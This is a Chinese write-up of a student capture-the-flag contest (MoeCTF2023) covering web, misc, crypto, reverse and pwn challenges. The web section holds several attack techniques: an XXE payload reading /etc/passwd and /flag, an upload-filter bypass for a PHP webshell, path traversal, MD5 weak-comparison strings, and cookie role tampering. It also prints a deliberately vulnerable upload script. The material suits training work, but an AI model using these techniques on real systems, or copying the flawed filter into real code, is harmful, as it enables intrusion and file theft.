MoeCTF2023西电新生赛部分WP

write-up:

战队:张伟文

队长:张伟文

一.Web

1.http:

题目描述:打开靶机后,是一个很基础的web题

解题过程:

这里描述的很明白,完成这5个条件可以得到flag

1.GET一个参数:UwU=u

2.post一个参数:Luv=u

用HackBar来传一下就会显示出第一个和第二个条件已经通过:

后面三个条件用bp抓包来构造:

3.使cookie: character = admin

4.设置代理,使它的代理来自127.0.0.1

5.修改浏览器的标识为: MoeBrowser

最后我们就可以拿到flag:

moectf{basic_http_knowledge_BabU4hFJYA6ijMKDfsNawp1hZczJk4dj}

2.Web入门指北:

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c513152475831637959 6c396a61474673624756755a3055684958303d

一看就是16进制转ascll码:

flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=

再进行base64解码:

得到flag:moectf{w3lCome_To_moeCTF_W2b_challengE!!}

3.彼岸的flag:

打开Web网页:

第一步先去查看网页源代码,在源代码中查找一下重要信息,搜素一下就发现了flag:

得到flag:moectf{find_comments_U1gMOCXCIaI7w3h5uBeuB6VzItzJJpBn}

4.cookie:

题目描述:DESCRIPTION: 本题无需扫描器/爆破
hint: readme只是一个样例,不是拿来复制的

解题方法:

首先我们先了解一下什么是cookie:

cookie是当你浏览某个网站的时候,由web服务器存储在你的机器硬盘上的一个小的文本文件。它其中记录了你的用户名、密码、浏览的网页、停留的时间等等信息。当你再次来到这个网站时,web服务器会先看看有没有它上次留下来的cookie。如果有的话,会读取cookie中的内容,来判断使用者,并送出相应的网页内容,比如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等。

当客户端要发送http请求时,浏览器会先检查下是否有对应的cookie。有的话,则自动地添加在request header中的cookie字段。注意,每一次的http请求时,如果有cookie,浏览器都会自动带上cookie发送给服务端。那么把什么数据放到cookie中就很重要了,因为很多数据并不是每次请求都需要发给服务端,毕竟会增加网络开销,浪费带宽。所以对于那设置“每次请求都要携带的信息(最典型的就是身份认证信息)”就特别适合放在cookie中,其他类型的数据就不适合了

附件信息:

这里面有一个注册和登陆的接口,先获取一下flag的信息查看一下

这里提示说要先登录,本题考察cookie知识,需要传递一个JSON数组即上图形式。连接靶机使用BurpSuite内置浏览器进行抓包,先POST方法向/register传递注册信息

那我们根据附件里面的信息来进行注册一个账号

这里我们用附件里面的信息注册发现账户已经存在,我们重新注册一个账号,注册成功:

现在来登陆一下:

登陆成功,拿到了一个登陆的token,是base64编码,解码一下

{"username": "hh", "password": "123456", "role": "user"}

发现账号的权限是user

用注册账号登陆成功的token(这个token里面就包含了我们注册登陆成功的账号信息)来GET /flag,看一下是否能获取flag的信息:

这里提示说我们不是admin权限,想到前面解密出来发现我们的角色权限是user,我们将token里面的角色权限换成admin再用base64加密后,GET /flag试一下:

再GET /flag一下:

成功得到了flag:

moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}

5.gas!gas!gas!:

题目描述:DESCRIPTION: Klutton这个假期信心满满地准备把驾照拿下,于是他仔细地学习了好多漂移视频,还准备了这么一个赛博赛车场;诶,不对,开车好像不是用键盘开的?

解题方法:

给了提示,1,2,3,4,但是要0.5s内完成,所有就写脚本吧,可以先bp抓包来获取一些关键的参数:

Post参数driver,steering_control,throttle进行控制

根据规则与Response,控制driver,steering_control,throttle

当次Respnse中的session作为下一次Request的session,保持会话状态

import requests
import re
def find_flag(text):
    pattern = r'moectf\{(.+?)\}'
    matches = re.findall(pattern, text)
    flag="moectf{"+matches[0]+"}"
    return flag

url="http://localhost:11476/"
driver="1"
steering_control="0"#直行
throttle="2"#全开
payload =  {
    "driver": driver,
    "steering_control": steering_control,
    "throttle": throttle
}


response = requests.post(url, data=payload)

while 1:
    if "moectf{" in response.text:
        print(find_flag(response.text))
        break
    #当次Respnse中的session作为下一次Request的session,保持会话状态
    session = response.cookies.get('session')
    cookies = {
        " session": session
    }
    if "弯道向左" in response.text:
        steering_control="1"#右
    elif "弯道向右" in response.text:
        steering_control="-1"#左
    else:steering_control="0"#直行

    if "抓地力太大了!" in response.text:
        throttle="2"#全开
    elif "抓地力太小了!" in response.text:
        throttle="0"#松开
    else:throttle="1"#保持

    payload = {
        "driver": driver,
        "steering_control": steering_control,
        "throttle": throttle
    }
    response = requests.post(url, data=payload,cookies=cookies)

运行得到flag:

moectf{Beautiful_Drifting!!_N5q86zoxxGsULm7R_wFbF1mk-1ydB0xU}

6.moe图床:

题目描述:DESCRIPTION: 我们准备了一个moe图床用于上传一些图片
hint: 链接难道给的有问题吗0.0?

解题方法:打开靶机,一看就知道是文件上传漏洞

访问/upload.php,发现它给了源码:

 <?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];
    $tmp_path = $_FILES['file']['tmp_name'];

    if ($file['type'] !== 'image/png') {
        die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
    }

    if (filesize($tmp_path) > 512 * 1024) {
        die(json_encode(['success' => false, 'message' => '文件太大']));
    }

    $fileName = $file['name'];
    $fileNameParts = explode('.', $fileName);

    if (count($fileNameParts) >= 2) {
        $secondSegment = $fileNameParts[1];
        if ($secondSegment !== 'png') {
            die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
        }
    } else {
        die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
    }

    $uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);

    if (move_uploaded_file($tmp_path, $uploadFilePath)) {
        die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
    } else {
        die(json_encode(['success' => false, 'message' => '文件上传失败']));
    }
}
else{
    highlight_file(__FILE__);
}
?>

在这里发现了有问题的后缀过滤代码:

$fileNameParts = explode('.', $fileName);

    if (count($fileNameParts) >= 2) {
        $secondSegment = $fileNameParts[1];
        if ($secondSegment !== 'png') {
            die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
        }
    } else {
        die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
    }

上传image/png文件类型、png文件头、后缀为.png.php的文件即可绕过,随后执行php代码

我们先随便上传一个文件,看一下它的前端过滤的是什么文件

可以看到它的前端只能传后缀为png的图片,其他的都被过滤了

我们写一个一句话木马,将后缀改成png的格式来进行上传,绕过前端的过滤,然后进行bp抓包

在png的后面加上.php进行后端绕过,然后发送数据包,上传成功

得到一个返回地址:

利用这个返回地址,我们就可以用蚁剑来连接一句话木马

测试连接成功,在根目录下发现flag

moectf{hmmm_improper_filter_7cUKxJwiTovoqGVg4__rk0mbVNFsrQx9}

7.了解你的座驾:

题目描述:

DESCRIPTION: 为了极致地漂移,我们准备了一个网站用于查找你喜欢的车车;听说flag也放在里面了,不过不在网站目录放在根目录应该没问题的吧。。。

解题方法:

打开靶机,发现是让我们选车,看了一下没发现什么可用的信息

抓包看一下,发现xml_content根据xml的进行页面切换

发现是xxe漏洞,将xml_content里面进行url解码

解码发现可以看到传输了xml获取我们点击XDU moeCTF Flag的信息

尝试利用xxe任意文件读取,下面这个网址讲的很清楚

https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

Insert the following external entity definition in between the XML declaration and the stockCheck element:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
Replace the productId number with a reference to the external entity: &xxe;. The response should contain "Invalid product ID:" followed by the contents of the /etc/passwd file.

然后又根据题目的提示说flag在根目录下面,然后就构造payload,来检索flag的文件

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <xml><name>&xxe;</name></xml>

进行url编码,然后复制到xml_content

最后得到flag:moectf{Which_one_You've_Chosen?Zf0dnCuFvVCvLTXdsh7sroeecFXWWiRS}

8.大海捞针:

题目描述:

DESCRIPTION: 该死,之前的平行宇宙由于flag的泄露被一股神秘力量抹去,我们脱离了与那个宇宙的连接了!不过不用担心,看起来出题人傻乎乎的是具有泄露flag的概率的,我们只需要连接多个平行宇宙...(难道flag在多元宇宙里是全局变量吗)

tips:仅有这道题要用到扫描器,请不要将爆破速度调整过快,flag是一定能找到的

解题方法:

根据提示可知要在1000个页面中找到聊天记录里撤回了flag的那一个,抓包发现是对1-1000的id进行爆破,使用burp来进行爆破,找到特殊的返回值,查看信息搜索moectf就可以得到flag

9.meo图床(2):

题目描述:

DESCRIPTION: 我们准备了一个meo(?)图床用于上传一些图片

解题方法:打开靶机,发现和前面的一样是一个上传文件的,估计也是文件上传漏洞,但最后发现有点不太像

我们先看一下源码,发现只能上传png的图片

我们先随便上传一张图片然后bp抓包看一下

得到一个读取文件的路径,用name做参数名,发现是一个文件读取漏洞,我们试着用 ../../../../flag去访问目录里面的flag

这里又得到一个新的地址,访问这个新地址,得到源码

是一个简单的代码审计,MD5的弱比较,可以用数组来绕过,还可以用科学计数法来绕过

科学计数法绕过:

弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0

以下是一些字符串md5值以0e开头
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

数组绕过:

得到flag : moectf{oops_file_get_contents_controllable_1MZleJlUZJ5_FUD8Fsetiqb_RtHjtuuJ}

二.Misc

1.Misc入门指北:

bW9lY3Rme2hAdjNfZnVuX0B0X20xNWNfIX0=

一看就知道是base64解码:

moectf{h@v3_fun_@t_m15c_!}

得到flag:moectf{h@v3_fun_@t_m15c_!}

2.打不卡的图片1:

把附件下载下来,发现没有文件名

把他放在010editor里面查看一下他的十六进制:

发现他的文件头损坏,但是可以看出这是一张jpg的图片,jpg的文件头格式是:FF D8 FF E0,将该文件的文件头格式修改成jpg的文件头格式:

保存后,将文件的后缀加上jpg的格式,然后图片就可以打开了,发现确实是西电的风景照:

查看一下图片的属性,看到图片还是先看他的属性再看其他的隐写信息,不然很痛苦,在属性中发现了一段可疑的数据:

6d6f656374667b5844555f69355f763372795f3665407532696675317d,一看是16进制,然后16进制转ASCLL码:

得到flag:moectf{XDU_i5_v3ry_6e@u2ifu1}

3.打不卡的图片2:

把题目附件下载下来,发现是有后缀名的jpg图片,但是打不卡:

继续将它放在010editor看一下它的16进制:

这个老CFTer都看得出来,这个png的图片格式的文件头被改成了jpg的文件头格式,现在将它的文件头格式改回成png的文件头:89 50 4E 47 的格式:

然后保存,并且将它的文件后缀名改成.png,保存后图片就可以打开了:

在图片的右上角就可以看到

flag:moectf{D0_yOu_1ik3_Bo7@ck_?}

4.狗子(1) 普通的猫:

题目描述中给了很明确的提示,用010editor打开就可以发现,然后把附件下载下来,发现是一个音频文件,将它放进010editor里面查看一下,结果在数据底部发现了flag:

得到flag:moectf{eeeez_f1ag_as_A_G1ft!}

5.building_near_lake:

社工题,根据题目提示找到对应的信息:

查看图片的属性可以找到拍摄相机的信息:

网上百度一下发现拍摄设备是Redmi k60,查一下发布时间是2022年12月27日

再将图片放在百度识图里面检索一下发现是厦门大学翔安校区的德旺图书馆,然后查一下它的的经纬度,填写完点提交就可以得到flag:

6.尊嘟假嘟?

题目描述:DESCRIPTION: 嘟嘟嘟

解题方法:将附件下载下来发现是一个txt文档:

直接Google搜就可以搜到 https://zdjd.vercel.app/ ,人类语言与尊嘟语言的转换器

翻译出来:

cipher: rY5Ah8BtsYYatLEPu8YCPU22Gr5PQt8YGDKkvb4bk3D4JJeEe5kgCpoEqgRzsM7m9d8jEtE3LUoKpULQnMcuAunU1gtpzC5kSUxFctFTNCMZVHLHZNCo5akzKMRY5bbyBP7RNUeGDEYoUc
key: the tailing 8 bytes of hash of "zundujiadu?" which begin with b6091904cdfb
iv: the end 8 bytes of hash of "dududu?" which begin with 272bf1da2207

hint1: how do Bitcoin addresses encode?
hint2: the name of cryptosystem is "bl****sh"

这里的意思是

密码已经给出

key:字符串zundujiadu?哈希加密后b60开头哈希值末尾8个字节

iv(偏移量):字符串dududu?哈希加密后272开头哈希值末尾8个字节

hint1:比特币地址的加密方式

hint2:此次加密的名称为“bl***sh”

hint1是base58 hint2是blowfish

分别进行加密来获取key和iv(偏移量):

比特币区块链(三) | 比特币地址

现在总结一下(注意这里key和iv是取哈希加密后的末尾8个字节):

然后去赛博厨子解密(base58和Blowfish解密出来时base64编码,最后base64解密就可以得到flag):

flag:moectf{wow_you_aRe_the_masteR_of_Zundujiadu_92WPIBung92WPIBung9?WPIBung}

7.烫烫烫:

将题目附件下载下来:

+j9k-+Zi8-+T2A-+doQ-flag+/xo-+AAo-+AAo-a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262+AAo-+AAo-+T0Y-+Zi8-flag+dSg-AES+UqA-+W8Y-+ToY-+/ww-key+Zi8-+Tgs-+l2I-+j9k-+iEw-+W1c-+doQ-sha256+/wg-hash+UDw-+doQ-+XwA-+WTQ-+Zi8-b34edc782d68fda34dc23329+/wk-+AAo-+AAo-+YkA-+TuU-+i/Q-+/ww-codepage+dx8-+doQ-+X4g-+kc0-+iYE-+VUo-+/wg-+AAo-

解题方法:看到此类编码应该很敏感,这是Decode text(utf-7)解码,常见utf-8:

然后就是根据他给的步骤来一步一步的来进行解码,首先先对 “所以说,codepage真的很重要啊( ” 来进行sha256,(hash的开头是b34edc782d68fda34dc23329)

最后进行aes解码:(b34edc782d68fda34dc2332967273b0f0900a0ebd0dcec48467851bc6117bad1)这个作为密钥flag的key,因为没有iv,所以使用ECB模式:

flag:moectf{codep@ge_pl@ys_@n_iMport@nt_role_in_intern@tion@liz@tion_g92WPIB}

8.狗子(2) 照片:

题目描述:

这只猫肯定在这照片里留了点东西

我们前往了 Rx 家,见到了狗子,并拍到了他的珍贵照片。可是按下快门的下一刻,我们都察觉了一丝不对劲。

Rx 提出了一个可能性——狗子在拍照的一瞬间往图片 隐写 了信息。一开始只是玩笑话,可是可可检验了自己手上的照片,发现真的有隐藏的内容。

没人知道一只猫是怎么做到这件事的。但或许有另一种可能……这是后话。

提示:去寻找图片隐写的相关资料吧!这类工具非常多,所以一个个试试看吧。

提示2:“不是,你看看这图片上的字?Hacked by Doggy……所以狗子能够篡改图片的像素点?啊?”

提示3:本图片采用的是 LSB 隐写方式,但是明显并不常规,某个常用工具可能无法做出,需要各位自行寻找可用的工具

解题方法:

根据提示猜测这里应该是LSB隐写,我们去查看图片的相关信息,获取颜色通道模式:

脚本:

# 从Pillow库导入Image类
from PIL import Image

# 读取本地文件名为1.png的图片
img = Image.open('1.png')

# size 记录了图片的宽、高,单位为像素(px)
width, height = img.size
print(width, height) # 256 256

# mode 属性记录了图片使用的图片模式
mode = img.mode
print(img.mode) # RGBA

# getpixel()方法接受一个元组,元组中为要获取像素信息的像素点坐标
# PIL使用笛卡尔像素坐标系统,坐标(0,0)位于左上角
# X轴是从左到右增长的,Y轴是从上到下增长, 可以自己上手试试.
x, y = 100, 100
pix = img.getpixel((x, y))
print(pix) # (1, 67, 145, 235)

# 也可以使用load方法,该方法返回所有像素点的信息
pix = img.load()
print(pix[x, y]) # (1, 67, 145, 235)

运行脚本得到了它的颜色通道模式:

得到的是RGBA模式,然后我们去kali使用zsteg查看隐写信息:

zsteg -e "b1,rgba,lsb,xy" 1.png > 1.txt

然后查看1.txt发现flag:

flag:moectf{D0ggy_H1dd3n_1n_Pho7o_With_LSB!}

9.base乐队:

题目附件下载下来后是一段编码:

HFUEULC5HEZG42DGHFGDWSCTHRCUIUSVHFGDWS2EGZMCCRDKG5XG2LDEHFUTYYZGHJSUMKKDGVZDELBRHBIW4UCQGZLGOP2SHEYV44ZOHEZFYXCZHEYUIV2VGEXVK4KRHBWFWY2OHVMWSYCKG5XFCZTBHEZC6I2WHJST2ZK4HEXTSMDSHA3CKZRZGRNHI4LL

一看全是大写字母和数字,又根据题目,就知道这是base32编码:

base32解码:

9hJ,]92nhf9L;HS<EDRU9L;KD6X!Dj7nm,d9i<c&:eF)C5r2,18QnPP6Vg?R91^s.92\\Y91DWU1/UqQ8l[cN=Yi`J7nQfa92/#V:e=e\9/90r86%f94Ztqk

一看是base85解密:

MJMWKTSRLBMVUWDCLBNFCZSXGMYUMR32PJCDA3JQIZEFCOKSKI4DKRSGKFMU2QRZJU6WY3LPGJVXKMJRPIYHK2L2HU======

再进行base32解码:

bYeNQXYZXbXZQfW31FGzzD0m0FHQ9RR85FFQYMB9M=lmo2ku11z0uiz=

最后得到这个看似是base64,但仔细一看不是base64解码,这里需要点经验和灵性,将moectf进行base64编码:bW9lY3Rm,发现与base32解码的首字母相同,说明base32解码得到的这个是被打乱过顺序的,改变顺序的编码猜测是栅栏编码,放在栅栏编码里面进行枚举解码,得到了开头是bW9lY3Rm的一串编码:

bW9lY3Rme1RoNF82QG5kXzFuYzF1ZDQ1X0YzbmM0X0BuZF9iQHMzfQ==

最后进行base64解码:

得到flag:moectf{Th4_6@nd_1nc1ud45_F3nc4_@nd_b@s3}

10.奇怪的压缩包:

题目描述:或许他不是个压缩包?

解题方法:

根据提示它应该不是一个压缩包,放进010_editor里面有好多PK文件,这里用foremost来进行分离一下,分离出一个PPT文件,flag的信息也就在里面,你也可以修改附件的后缀名修改为.ppt,也可以:

打开ppt后发现竟然有5页PPT的内容,分别查看一下,估计大概是PPT隐写:

第一页:全选页面,改文字的颜色,发现没有隐写:

第二页:还是一样的步骤全选改字体颜色,发现存在隐写,得到了一部分的flag:

第三张:在妙蛙种子的嘴里有个文本框,里面有一些隐藏信息:

第四张:将图片移开就可以看到一个隐藏信息:

第五章:好像什么也没有:

看得这里很明显这flag还有一部分没有找到,经过漫长的寻找,最后尝试查看ppt的大纲,发现末尾有一段flag的最后一部分:

最后拼凑一下就得到了flag:

moectf{2ip_?_n0_i4_pp4x!}

三.Crypto

1.Crypto 入门指北:

from Crypto.Util.number import * # 一个非常好用的crypto库

p = 0xe82a76eeb5ac63e054128e040171630b993feb33e0d3d38fbb7c0b54df3a2fb9b5589d1205e0e4240b8fcb4363acaa4c3c44dd6e186225ebf3ce881c7070afa7
q = 0xae5c2e450dbce36c8d6d1a5c989598fc01438f009f9b4c29352d43fd998d10984d402637d7657d772fb9f5e4f4feee63b267b401b67704979d519ad7f0a044eb
c = 0x4016bf1fe655c863dd6c08cbe70e3bb4e6d4feefacaaebf1cfa2a8d94051d21e51919ea754c1aa7bd1674c5330020a99e2401cb1f232331a2da61cb4329446a17e3b9d6b59e831211b231454e81cc8352986e05d44ae9fcd30d68d0ce288c65e0d22ce0e6e83122621d2b96543cec4828f590af9486aa57727c5fcd8e74bd296
e = 65537
n = p*q
phi = (p-1) * (q-1) # 你知道什么是 欧拉函数吗 [1]
d = pow(e, -1, phi) # 什么是乘法逆元? [2]
m = pow(c,d,n)
print(long_to_bytes(m))

将它运行,就可以得到flag:moectf{weLCome_To_moeCTf_CRypTo_And_enjoy_THis_gAme!_THis_is_yoUR_fLAg!}

2.ezrot:

将附件下载下来,根据题目猜测可能是rot系列:

@64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N

将它放在rot47里面进行解码得到flag:

moectf{rot47_is_just_a_simPle_letter_substitution_ciPher_EDpy5tpe5juNT_}

3.可可的新围墙:

把附件下载下来,根据题目猜测是栅栏解码:

mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j

但是放在栅栏编码里面进行解码,发现解码不出来,看到这串编码里面出现最多的3,新围墙,猜测是栅栏编码的W型解码,然后栏数为3,进行解码得到flag:

moectf{F3nc3_ciph3r_shiFTs_3ach_l3TT3r_By_a_Giv3n_nuMB3r_oF_plac3s_Ojpj}

4.皇帝的新密码:

把题目附件下载下来,得到一串编码:

tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}

一看它的结构符合flag的形式,但是对应的字母被替换了,试试凯撒解密,确实是凯撒解密,得到flag:

moectf{CaEsaE_CIphEr_Is_a_vErY_sImpIE_CIphEr!_SfNONT40j5DuXJSTD5Xatz4To}

5.不是皇帝的新密码:

题目描述:不是皇帝的新密码

将附件下载下来:

scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}

md5 of flag (utf-8) `ea23f80270bdd96b5fcd213cae68eea5`

解题方法:这里一看就是匹配问题,知道flag的开头是moectf,维吉尼亚口算密钥或者查表:goodjob ,这里只能查到goodjo,最后一个b是猜出来的,直接维吉尼亚解码:

得到flag:moectf{vIgENErE_CIphEr_Is_a_lIttlE_hardEr_thaN_caEsar_CIphEr_4u4u4EXfXz}

6.猫言喵语:

题目描述: 狗曰:”喵喵喵喵喵??“

请解出后请转换为全大写,单词间以下划线分隔,套上moectf{}后提交
hint: Morse Code.

解题方法:根据题目描述和提示,估计是莫斯密码,将附件下载下来:

喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?

现在是翻译和替换的问题,经过多次尝试,把"喵喵? "替换成"-","喵喵喵"换成”." :

- .... . ..--.- -.- .- .-- .- .. .. ..--.- -.-. .- - ..--.- -... ..- - ..--.- -... . ..--.- -.-. .- .-.. .-.. . -.. ..--.- --. --- ..- --.. .. ..--.- -... -.-- ..--.- .-. -..-

最后进行莫斯解码:

flag:moectf{THE_KAWAII_CAT_BUT_BE_CALLED_GOUZI_BY_RX}

四.Reverse:

1.Reverse入门指北:

签到题用IDA打开就可以找到:

flag:moectf{F1rst_St3p_1s_D0ne}

2.base_64:

把题目附件下载下来,发现是.pyc文件,这个是去网上找个在线反编译pyc的网站,将它进行反编译,查看它的伪代码,发现是一个简单的换标:

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7

import base64
from string import *

str1 = "yD9oB3Inv3YAB19YynIuJnUaAGB0um0="
string1 = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
flag = input("welcome to moectf\ninput your flag and I wiil check it:")
enc_flag = base64.b64encode(flag.encode()).decode()
enc_flag = enc_flag.translate(str.maketrans(string2, string1))
if enc_flag == str1:
    print("good job!!!!")
else:
    print("something wrong???")
    exit(0)

阅读上面这段反编译后的python代码,很清楚的知道,我们将输入的flag进行base64加密后和str1:yD9oB3Inv3YAB19YynIuJnUaAGB0um0=进行比较,相同就说明正确,所以我们进行逆向解密,将str1进行base64解密就可以得到flag,但是要注意的是这里base64加密的密钥是string1:ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/,所以在进行解码的时候要将base64的密钥进行修改,后解密得到flag:

flag:moectf{pYc_And_Base64~}

3.UPX!:

把题目附件下载下来,根据题目这题应该是有壳,需要进行脱壳,把它放在exeinfope.exe里面查看的exe的信息:

发现确实是有壳的64位的程序,进行脱壳处理:

脱壳完成,现在放进去64位IDA里面查看它关键函数的伪代码:

红线框框就是解题的关键,这里是将输入的flag:v6和0x67进行异或,将异或后的v6和byte_140196000进行比较函数的判断,不相同就try again,相同就是成功:you are so clever,所以这个我们需要逆向思维,将byte_140196000数组里面的值和0x67进行异或就可以得到我们输入的flag的值v6,byte_140196000函数里面的值:

整理好后,就可以编写它的python脚本来解密:

byte = [0x0A, 0x08, 0x02, 0x04, 0x13, 0x01, 0x1C, 0x57, 0x0F, 0x38,
  0x1E, 0x57, 0x12, 0x38, 0x2C, 0x09, 0x57, 0x10, 0x38, 0x2F,
  0x57, 0x10, 0x38, 0x13, 0x08, 0x38, 0x35, 0x02, 0x11, 0x54,
  0x15, 0x14, 0x02, 0x38, 0x32, 0x37, 0x3F, 0x46, 0x46, 0x46,
  0x1A]
flag = ''
for i in range(41):
    flag += chr(byte[i]^0x67)
print(flag)

运行,就可以得到flag:

moectf{0h_y0u_Kn0w_H0w_to_Rev3rse_UPX!!!}

4.Xor:

将题目附件下载下来,根据题目猜测是一个简单的异或,将程序放在exeinfope.exe里面查看一下他的信息:

发现是一个64位无壳的程序,然后将它放进64位IDA里面,查看程序的伪代码:

找到它的关键函数,上面中用红框框出来的就是解题的关键,我们将输入的flag:v2和0x39进行异或后与byte_14000C010函数进行比较,相同就返回GOOD!,说明我们输入的flag正确,现在进行逆向解密,将byte_14000C010函数里面的值与0x39进行异或就可以得到flag的值 byte_14000C010函数里面的值:

整理好后就可以编写它的python解密脚本:

byte = [0x54, 0x56, 0x5C, 0x5A, 0x4D, 0x5F, 0x42, 0x60, 0x56, 0x4C,
  0x66, 0x52, 0x57, 0x09, 0x4E, 0x66, 0x51, 0x09, 0x4E, 0x66,
  0x4D, 0x09, 0x66, 0x61, 0x09, 0x6B, 0x18, 0x44]
flag = ''
for i in range(28):
    flag += chr(byte[i]^0x39)
print(flag)

运行脚本就可以得到flag:

moectf{You_kn0w_h0w_t0_X0R!}

5.ANDROID:

题目附件下载下来后发现是android程序的一个apk文件,就需要反编译apk文件

一个简单的异或:

#include<stdio.h> 
int main(){
	
	char enc[] = {25, 7, 0, 14, 27, 3, 16, '/', 24, 2, '\t', ':', 4, 1, ':', '*', 11, 29, 6, 7, '\f', '\t', '0', 'T', 24, ':', 28, 21, 27, 28,16};
    char key[] = {'t', 'h', 'e', 'm', 'o', 'e', 'k', 'e', 'y'};
    
    for(int i=0;i<31;i++){
    	
    	printf("%c",enc[i]^key[i%9]);
	}
}

得到flag:

flag:moectf{Java_in_Android_1s_easy}

6.RRRRRc4:

题目描述:

DESCRIPTION: 一天dr3找到浮小云,说要给他看个好东西,说着就用神秘的Rc4把浮小云珍贵的flag给弄得一团糟。现在,唯有你能拯救浮小云的flag,将混乱变为秩序!

解题方法:

题目附件下载下来,是一个exe的文件,放进exeinfope.exe里面查看一下它的属性,是一个64位的无壳

然后将它放进IDA里面F5,但是反汇编出来的是一个start函数

所以这里我们要找它的加密函数就需要 shift+F12 ,来搜索它里面的字符串,找到与flag相关的字符串


然后双击点进去

然后按 Ctrl + x 可以溯源回到它的的汇编代码的出处

找到之后点进去,就找到了它的汇编代码

然后现在再F5反汇编一下,就可以得到它加密过程的反汇编代码

__int64 sub_140079A70()
{
  char *v0; // rdi
  __int64 i; // rcx
  char v3[32]; // [rsp+0h] [rbp-30h] BYREF
  char v4; // [rsp+30h] [rbp+0h] BYREF
  char v5[256]; // [rsp+40h] [rbp+10h] BYREF
  char v6[256]; // [rsp+160h] [rbp+130h] BYREF
  char v7[44]; // [rsp+278h] [rbp+248h] BYREF
  int v8; // [rsp+2A4h] [rbp+274h]
  int j; // [rsp+2C4h] [rbp+294h]

  v0 = &v4;
  for ( i = 172i64; i; --i )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  sub_14007555C(&unk_1401A7007);
  memset(v5, 0, sizeof(v5));
  memset(v6, 0, sizeof(v6));
  strcpy(v7, "moectf2023");    //将moectf2023赋值给v7
  v8 = 0;
  sub_140073581("welcome to moectf!!!");
  sub_140073581("This is a very common algorithm ");
  sub_140073581("show your flag:");
  sub_1400727F8("%s", byte_140197260);
  if ( sub_140073829(byte_140197260) == 37 )  //对我们的输入进行加密
  {
    sub_140075052((unsigned int)v5, (unsigned int)v6, (unsigned int)byte_140197260, 38, (__int64)v7, 10);    //rc4的加密过程
    for ( j = 0; (unsigned __int64)j < 0x26; ++j )
    {
      if ( byte_140196000[j] == (unsigned __int8)byte_140197260[j] ) //和加密后的密文进行比对
        ++v8;
    }
  }
  if ( v8 == 37 )
    sub_140073973("right!flag is your input!");
  else
    sub_140073973("try again~");
  sub_140074BCF(v3, &unk_140162100);
  return 0i64;
}

题目提示说是RC4加密算法,又知道RC4是对称加密算法,加密和解密都是同一个密钥,这里的密钥就是moectf2023,我们找到他加密后的密文,再加密一下就可以解密得到加密前的明文就是我们的flag

这里的密文存在byte_140196000这个里面,点进去将密文提取出来

放进赛博厨子里面梭哈一把就得到了flag

flag: moectf{y0u_r3a11y_understand_rc4!!!!}

五.Pwn

1.Pwn 入门指北:

签到题:

